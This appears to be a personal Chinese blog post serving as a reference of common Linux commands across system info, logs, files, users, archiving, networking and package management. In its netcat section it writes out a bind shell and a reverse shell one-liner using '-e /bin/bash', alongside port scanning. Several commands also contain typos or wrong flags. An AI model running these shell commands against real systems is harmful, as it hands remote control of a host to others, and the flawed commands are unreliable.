banner
NEWS LETTER

Linux常用命令

Scroll down
Avatar
一根儿狗
I`m
  • Residence:
    JiNan
  • City:
    ShanDong
  • Age:
    25

07/31

11:33

一根儿狗

目录


1、系统信息查看
2、关机、重启、登出
3、系统日志
4、端口查看
5、进程查看
6、文件和目录操作
7、文件权限
8、文件特殊属性
9、文件搜索
10、挂载
11、用户和群组
12、打包和压缩
13、备份
14、网络
15、安装包管理


1.系统信息查看

  • 查看处理器架构

    arch、uname -m、lscpu

  • 查看内核的版本

    cat /proc/version、uname -r

  • 查看系统版本信息

    cat /etc/redhat-release(只适合Redhat系)、lsb_release -a、cat /etc/issue

  • 查看设备重启记录、用户登录记录

    last -f wtmp

  • 查看CPU 信息

    cat /proc/cpuinfo、lscpu

  • 查看CPU 型号

    cat /proc/cpuinfo |grep name |cut -f2 -d : |uniq -c

  • 查看占用cpu资源最多的10个进程

    ps aux | head -1;ps aux | sort -rm -k +4 | head

  • 查看内存信息

    free -m、cat /proc/meminfo

  • 查看占用内存高的三十个进程

    ps aux |awk ‘{$6/1024 “MB\t\t” $11}’ | sort -n | tail 30

  • 查看硬盘和分区信息

    lsblk、fdisk -l

  • 查看10秒内每秒的磁盘占用

    iostat(需安装) -x 1 10

  • 查看网卡信息

    lspci | grep -i ethernet

  • 查看显卡信息

    lspci | grep -i vga

  • 罗列 PCI 设备

    lspci -tv

  • 查看 USB 设备

    lsusb -tv(需安装usbutils)

  • 查看系统日期

    date

  • 查看哪些swap被使用

    cat /proc/swaps

  • 查看网络适配器及统计

    cat /proc/net/dev

  • 查看已加载的文件系统

    cat /proc/mounts

2.关机、重启及登出

  • 关机 shutdown -h now、init 0 、telinit 0
  • 重启 shutdown -r now、reboot
  • 按预定时间关机 shutdown -h hours:minutes
  • 取消按预定时间关机 shutdown -c
  • 注销 logout

3.系统日志

  • /var/log/messages
    主要存放系统日志。记录linux内核消息及各种应用程序的公共日志信息,包括启动、IO错误、网络错误、程序故障等。对于未使用独立日志文件的应用程序或服务,一般都可以从该文件获得相关的事件记录信息。

  • /var/log/cron
    crond计划任务,和crontab不可分割,crontab是执行命令
    记录crond计划任务产生的事件信息

  • /var/log/secure
    记录验证与授权信息,例如sshd会将所有信息记录在此

  • /var/log/lastlog
    记录系统中所有用户最后一次登录的日志,此文件是二进制文件,不能直接cat、vi查看,需要使用lastlog命令查看

  • /var/log/utmp
    记录当前登录的每个用户的详细信息,此文件是二进制信息,不能直接cat、vi,需要使用w,who命令查看

  • /var/log/wtmp
    永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。此文件是二进制文件,不能直接cat、vi查看,需要使用last命令查看(last -f 指定文件路径)

4.端口查看

4.1 netstat

-a –列出所有端口
-at –列出所有tcp端口
-au –列出所有udp端口
-l –列出处于监听状态的端口
-lt –所有监听状态的tcp端口
–udp同理同上
-s –显示网络统计信息
-st –tcp
-su –udp
-p –显示PID和进程名称
-n –不显示主机、端口和用户名,用数字代替
-i –显示网络接口列表
-ie –显示详细信息,像ifconfig
-r –显示路由表

4.2 ss

比netstat更快

-h –help 帮助
-V –version 显示版本号
-t –tcp 显示 TCP 协议的 sockets
-u –udp 显示 UDP 协议的 sockets
-x –unix 显示 unix domain sockets,与 -f 选项相同
-n –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-l –listening 只显示处于监听状态的端口
-p –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a –all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-r –resolve 把 IP 解释为域名,把端口号解释为协议名称

4.3 lsof

lsof 常见的用法是查找应用程序打开的文件的名称和数目。

  • 查看8080端口占用情况

    lsof -i :8080

  • 显示开启文件abc.txt的进程

    lsof abc.txt

  • 显示abc进程现在打开的文件

    lsof -c abc

  • 列出进程号为1234的进程所打开的文件

    lsof -c -p 1234

  • 显示归属gid的进程情况

    lsof -g gid

  • 显示目录下被进程开启的文件

    lsof +d /usr/local/

5.进程查看

5.1 ps

a:显示一个终端的所有进程,除会话引线外;
u:显示进程的归属用户及内存的使用情况;
x:显示没有控制终端的进程;
-l:长格式显示更加详细的信息;
-e:显示所有进程;
-f :用ASCII字符显示树状结构,表达程序间的相互关系

常用

  • ps -aux | grep root
  • ps aux | grep root
  • ps -ef | grep java

5.2 pstree

用ASCII字符显示树状结构,清楚地表达程序间的相互关系。

5.3 jobs

jobs查看后台进程
命令或脚本 命令行后加 & 表示放到后台运行
jobs查看后台运行的进程
kill 时进程号前加%
正在前台运行的进程 ctrl+Z 进入暂停状态并放入后台
bg %进程号 放入后台继续运行
fg %进程号 放入前台继续运行
disown 从table中移除一个job
-h 不从table中移除job,设置为不接受shell发送的sighub信号
-a 如果不指定id,针对所有job删除
-r 如果不指定id,只对running状态进行删除

6.文件和目录操作

6.1 ls

  • 查看目录中的文件

    ls

  • 显示文件和目录的详细资料

    ls -l

  • 显示隐藏文件

    ls -a

6.2 cd

  • 进入 ‘/ home’ 目录

    cd /home

  • 返回上一级目录

    cd ..

  • 返回上两级目录

    cd ../..

  • 返回上次所在的目录

    cd -

6.3 pwd

  • 显示工作路径

    pwd

6.4 mkdir

  • 创建一个叫做 ‘dir1’ 的目录

    mkdir dir1

  • 同时创建两个目录

    mkdir dir1 dir2

  • 创建一个目录树

    mkdir -p /tmp/dir1/dir2

6.5 rm

  • 删除一个叫做 ‘file1’ 的文件

    rm -f file1

  • 删除一个叫做 ‘dir1’ 的目录并同时删除其内容

    rm -rf dir1

6.6 rmdir

  • 删除一个叫做 ‘dir1’ 的目录

    rmdir dir1

6.7 cp

  • 复制一个文件

    cp file1 file2

  • 复制dir目录下的所有文件到当前工作目录

    cp dir/* .

  • 复制一个目录到当前工作目录

    cp -a /tmp/dir1 .

  • 复制一个目录

    cp -a dir1 dir2

  • 复制一个目录及子目录

    cp -r dir1 dir2

6.8 mv

  • 重命名/移动 一个目录

    mv dir1 new_dir

6.9 ln

  • 创建一个指向文件或目录的软链接

    ln -s file1 lnk1

  • 创建一个指向文件或目录的物理链接

    ln file1 lnk1

6.10 scp

scp [可选参数] file_source file_target

  • 从本地复制到远程服务器的/home/目录

    scp 1.txt root@1.1.1.1:/home/

  • 从远程复制到本地

    scp root@1.1.1.1:/home/tmp/1.txt /home/tmp

6.11 diff

6.12 清空文件

  • true命名

    true > access.log

    ‘’:’’ 符号,shell的内置命令,等同于true,用来作为no-op(不进行任何操作)

    : > access.log

  • 使用cat、cp、dd命令操作/dev/null设备

    cat /dev/null > access.log

    cp /dev/null > access.log

    dd if=/dev/null of=access.log【if代表输入、of代表输出】

  • 使用echo命令将空字符串重定向到文件

    echo “ “ > access.log

    echo > access.log

    以上将有空白字符

    echo -n “ “ > access.log

  • truncate

    将一个文件缩小或者扩展到某个给定的大小

    文件大小设定为0

    truncate -s 0 access.log

6.13查看大文件

  • du
    查看目录下所有文件大小
    du -x -h –max-depth=1

    查看存储已达G的文件
    du -x -h –max-depth=1 | grep 'G'

    查看存储已达G的文件,并排序
    du -x -h –max-depth=1 | grep 'G' | sort -nr

7.文件权限

7.1 chmod

修改用户的权限

文件基本权限有九个,分别是 owner/group/others(拥有者/组/其他) 三种身份各有自己的 read/write/execute 权限。

文件的权限字符为: -rwxrwxrwx

  • r:4

  • w:2

  • x:1

  • 将/bin/file1文件所有的权限都设定启用

chmod 777 /bin/file1

7.2 chown

更改用户所属用户与组

  • 改变一个文件的所有人属性

    chown user1 file1

  • 改变一个目录的所有人属性并同时改变改目录下所有文件的属性

    chown -R user1 directory1

  • 改变一个文件的所有人和群组属性

    chown user1:group1 file1

7.3 chgrp

更改文件所属组

  • 改变文件的群组

    chgrp group1 file1

8.文件特殊属性

  • 只允许以追加方式读写文件

    chattr +a file1

  • 在进行文件系统备份时,dump程序将忽略这个文件

    chattr +d file1

  • 设置成不可变的文件,不能被删除、修改、重命名或者链接

    chattr +i file1

  • 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘

    chattr +S file1

  • 若文件被删除,系统会允许你在以后恢复这个被删除的文件

chattr +u file1

  • 显示特殊的属性

    lsattr

9.文件搜索

9.1 grep

  • grep -[acinv] ‘搜索内容串’ filename

    -a 以文本文件方式搜索

    -c 计算找到的符合行的次数

    -i 忽略大小写

    -n 顺便输出行号

    -v 反向选择,即显示不包含匹配文本的所有行

  • grep正则表达式元字符集(基本集)

    ^ 行的开始 如:’^grep’匹配所有以grep开头的行。

    $ 行的结束 如:’grep$’匹配所有以grep结尾的行。

    . 匹配一个非换行符的字符 如:’gr.p’匹配gr后接一个任意字符,然后是p。

    *匹配零个或多个先前字符 如:’grep’匹配所有一个或多个空格后紧跟grep的行。

    .*一起用代表任意字符。

    [] 匹配一个指定范围内的字符,如’[Gg]rep’匹配Grep和grep。

    [^] 匹配一个不在指定范围内的字符,如:’[^A-FH-Z]rep’匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。

    /(../) 标记匹配字符,如’/(love/)’,love被标记为1。

    /< 锚定单词的开始

    /> 锚定单词的结束,如’grep/>’匹配包含以grep结尾的单词的行。

    例:

  • 统计所有以“us”字符开头的行有多少

    grep -c “us” test.txt

  • 不区分大小写查找“May”所有的行

    grep -i “May” test.txt

  • 显示行号;显示匹配字符“user”的行及行号

    grep -n “user” test.txt

  • 显示输出没有字符“user”所有的行

    grep -v “user” test.txt

  • 显示输出字符“user”所在的行

    grep “user” test.txt

  • 搜索有the的行,并输出行号

    grep -n ‘the’ regular_express.txt

  • 搜 索没有the的行,并输出行号

    grep -nv ‘the’ regular_express.txt

9.2 find

  • 从 ‘/‘ 开始进入根文件系统搜索文件和目录

    find / -name file1

  • 搜索属于用户 ‘user1’ 的文件和目录

    find / -user user1

  • 在目录 ‘/ home/user1’ 中搜索带有’.bin’ 结尾的文件

    find /home/user1 -name *.bin

  • 搜索在过去100天内未被使用过的执行文件

    find /usr/bin -type f -atime +100

  • 搜索在10天内被创建或者修改过的文件

    find /usr/bin -type f -mtime -10

  • 搜索以 ‘.rpm’ 结尾的文件并定义其权限

    find / -name *.rpm -exec chmod 755 ‘{}’ ;

  • 搜索以 ‘.rpm’ 结尾的文件,忽略光驱、捷盘等可移动设备

    find / -xdev -name *.rpm

  • 显示一个二进制文件、源码或man的位置

    whereis halt

  • 显示一个二进制文件或可执行文件的完整路径

    which halt

9.3 locate

寻找以 ‘.ps’ 结尾的文件 - 先运行 ‘updatedb’ 命令 locate *.ps

10.挂载

10.1 mount

挂载一个叫做hda2的盘到/mnt/hda2路径 mount /dev/hda2 /mnt/hda2
其他挂载上同

10.2 umount

卸载一个叫做hda2的盘 - 先从挂载点 ‘/ mnt/hda2’ 退出 umount /dev/hda2
当设备繁忙时强制卸载 fuser -km /mnt/hda2
运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用 umount -n /mnt/hda2

11.用户和群组

  • 创建一个新用户组

    groupadd group_name

  • 删除一个用户组

    groupdel group_name

  • 创建一个新用户

    useradd user1

  • 删除一个用户

    userdel -r user1

  • 重命名一个用户组

    groupmod -n new_group_name old_group_name

  • 创建一个属于 “admin” 用户组的用户

    useradd -c “Name Surname “ -g admin -d /home/user1 -s /bin/bash user1

  • 修改用户属性

    usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1

  • 修改口令

    passwd

  • 修改一个用户的口令 (只允许root执行)

    passwd user1

  • 设置用户口令的失效期限

    chage -E 2005-12-31 user1

  • 检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的用户

    pwck

  • 检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的群组

    grpck

  • 用户账号密码输入次数过多锁定后解除(清除错误次数)

    pam_tally2 -u root -r

12.打包和压缩

12.1 rar

  • 创建一个叫做 ‘file1.rar’ 的包

    rar a file1.rar test_file

  • 同时压缩 ‘file1’, ‘file2’ 以及目录 ‘dir1’

    rar a file1.rar file1 file2 dir1

  • 解压rar包

    rar x file1.rar、 unrar x file1.rar

  • 创建一个非压缩的 tar包

    tar -cvf archive.tar file1

  • 释放一个包

    tar -xvf archive.tar

  • 将压缩包释放到 /tmp目录下

    tar -xvf archive.tar -C /tmp

  • 创建一个bzip2格式的压缩包

    tar -cvfj archive.tar.bz2 dir1

  • 解压一个bzip2格式的压缩包

    tar -jxvf archive.tar.bz2

  • 创建一个gzip格式的压缩包

    tar -cvfz archive.tar.gz dir1

  • 解压一个gzip格式的压缩包

    tar -zxvf archive.tar.gz

12.2 zip

  • 创建一个zip格式的压缩包

    zip file1.zip file1

  • 将几个文件和目录同时压缩成一个zip格式的压缩包

    zip -r file1.zip file1 file2 dir1

  • 解压一个zip格式压缩包

    unzip file1.zip

  • 压缩一个叫做 ‘file1’的文件

    gzip file1

  • 最大程度压缩

    gzip -9 file1

13.备份

  • 制作一个 ‘/home’ 目录的完整备份

    dump -0aj -f /tmp/home0.bak /home

  • 制作一个 ‘/home’ 目录的交互式备份

    dump -1aj -f /tmp/home0.bak /home

  • 还原一个交互式备份

    restore -if /tmp/home0.bak

  • 通过ssh和压缩将一个远程目录同步到本地目录

    rsync -az -e ssh –delete ip_addr:/home/public /home/local

  • 通过ssh和压缩将本地目录同步到远程目录

    rsync -az -e ssh –delete /home/local ip_addr:/home/public

  • 备份磁盘内容到一个文件

    dd if=/dev/sda of=/tmp/file1

  • 日常备份文件带当前日期

    mv /tmp/1.txt /tmp/1.txt.bak.`date +%F_%T`

14.网络

14.1 nc

-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码输出该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

14.1.1 端口扫描,测试端口

  • tcp

    nc -v -z -w 2 192.168.0.3 1-100

  • udp

    nc -u -v -z -w 2 192.168.0.3 1-100

14.1.2 远程拷贝文件

server1 拷贝文件到server2
1:需要先在server2,用nc激活监听
【server2】 nc -l 1234 >1234.txt
【server1】 nc -w 1 192.168.1.1 1234 < abc.txt

14.1.3 克隆设备

【server】 dd if= /dev/sda | nc -l 20000
【client 】 nc -n 192.168.1.1 20000 | dd of=/dev/sda

14.1.4 打开shell

【server】 nc -l 20000 -e /bin/bash -i
【client 】 nc 192.168.1.1 20000

14.1.5 反向shell

【server】 nc -l 20000
【client 】 nc 192.168.1.1 20000 -e /bin/bash

14.2 arpwatch

监听网络上ARP的记录

-d 启动排错模式。
-f<记录文件> 设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat。
-i<接口> 指定监听ARP的接口,预设的接口为eth0。
-r<记录文件> 从指定的文件中读取ARP记录,而不是从网络上监听。
-n 指定附加的本地网络
-u 指定用户和用户组
-e 发送邮件给指定用户,非默认的root用户
-s 指定用户名作为返回地址,而不是默认的用户root

14.3 route

直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来设置路由永久有效。

add:增加路由记录

del:删除路由记录

target:目的网络或目的主机

gw:设置默认网关

mss:设置TCP的最大区块长度(MSS),单位MB

window:指定通过路由表的TCP连接的TCP窗口大小

dev:路由记录所表示的网络接口

  • 查看路由信息

    route -n

  • 添加路由

    route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.139.128.1 dev eth0

  • 删除路由

    route del -net 224.0.0.0 netmask 240.0.0.0

  • 删除和添加默认路由

    route add default gw 192.168.1.1 route del default gw 192.168.1.1

14.4 ethtool

  • 查看端口是否up

    ethtool eth0

  • 查看网卡驱动程序

    ethtool -i eth0

  • 网卡自检

    ethtool -t eth0

  • 接口闪灯判定网卡对应名称位置

    ethtool -p eth0

14.5 tcpdump

TCPDump可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。

参数较多,不一一罗列了,举一些常用的例子,如下:

  • 监听指定网卡的所有传输数据

    tcpdump -i eth0 -nnvv

  • 捕获特定主机经过本机网卡eth0的所有数据包

    tcpdump -i eth0 host x.x.x.x -nnvv

  • 监听udp的53端口的数据包

    tcpdump udp port 53 -nnvv

  • 捕获主机A接收和发出的tcp协议的ssh的数据包

    tcpdump tcp port 22 and host x.x.x.x -nnvv

  • 捕获主机 A 和主机B或主机C的所有通信数据包

    tcpdump hostx.x.x.x and (x.x.x.x or x.x.x.x ) -nnvv

  • 捕获源主机1.1.1.1且源端口为443到目的主机2.2.2.2主机的通信

    tcpdump src host 1.1.1.1 amd src port 443 and dst host 2.2.2.2 and dst port 443

  • 抓包文件输出至指定文件

    tcpdump -i eth0 -w /home/capture.pcap

  • 获取主机A除了和主机B之外所有主机通信的ip包

    tcpdump ip host A.x.x.x and ! B.x.x.x

15.安装包管理

15.1 rpm

  • 安装一个rpm包

    rpm -ivh package.rpm

  • 安装一个rpm包而忽略依赖关系警告

    rpm -ivh –nodeeps package.rpm

  • 更新一个rpm包但不改变其配置文件

    rpm -U package.rpm

  • 删除一个rpm包

    rpm -e package_name.rpm

  • 显示系统中所有已经安装的rpm包

    rpm -qa

  • 确认一个rpm包的完整性

    rpm –checksig package.rpm

  • 确认一个rpm包还未安装

    rpm -Vp package.rpm

15.2 deb

  • 安装/更新一个 deb 包

    dpkg -i package.deb

  • 从系统删除一个 deb 包

    dpkg -r package_name

  • 显示系统中所有已经安装的 deb 包

    dpkg -l

  • 显示所有名称中包含 “httpd” 字样的deb包

    dpkg -l | grep httpd

  • 显示系统中已经安装的一个deb包所提供的文件列表

    dpkg -L package_name

  • 确认所给的文件由哪个deb包提供

    dpkg -S /bin/ping

15.3 yum

  • 下载并安装一个rpm包

    yum install package_name

  • 安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系

    yum localinstall package_name.rpm

  • 更新当前系统中所有安装的rpm包

    yum update package_name.rpm

  • 更新一个rpm包

    yum update package_name

  • 删除一个rpm包

    yum remove package_name

  • 列出当前系统中安装的所有包

    yum list

  • 在rpm仓库中搜寻软件包

    yum search package_name

  • 清理rpm缓存删除下载的包

    yum clean packages

  • 删除所有头文件

    yum clean headers

  • 删除所有缓存的包和头文件

    yum clean all

15.4 apt

  • 安装/更新一个 deb 包

    apt-get install package_name

  • 从光盘安装/更新一个 deb 包

    apt-cdrom install package_name

  • 升级列表中的软件包

    apt-get update

  • 升级所有已安装的软件

    apt-get upgrade

  • 从系统删除一个deb包

    apt-get remove package_name

  • 确认依赖的软件仓库正确

    apt-get check

  • 从下载的软件包中清理缓存

    apt-get clean

  • 查找包含所要搜索字符串的软件包名称

    apt-cache search searched-package

其他文章
© 2022- 2022 · 一根儿狗
博客已萌萌哒运行: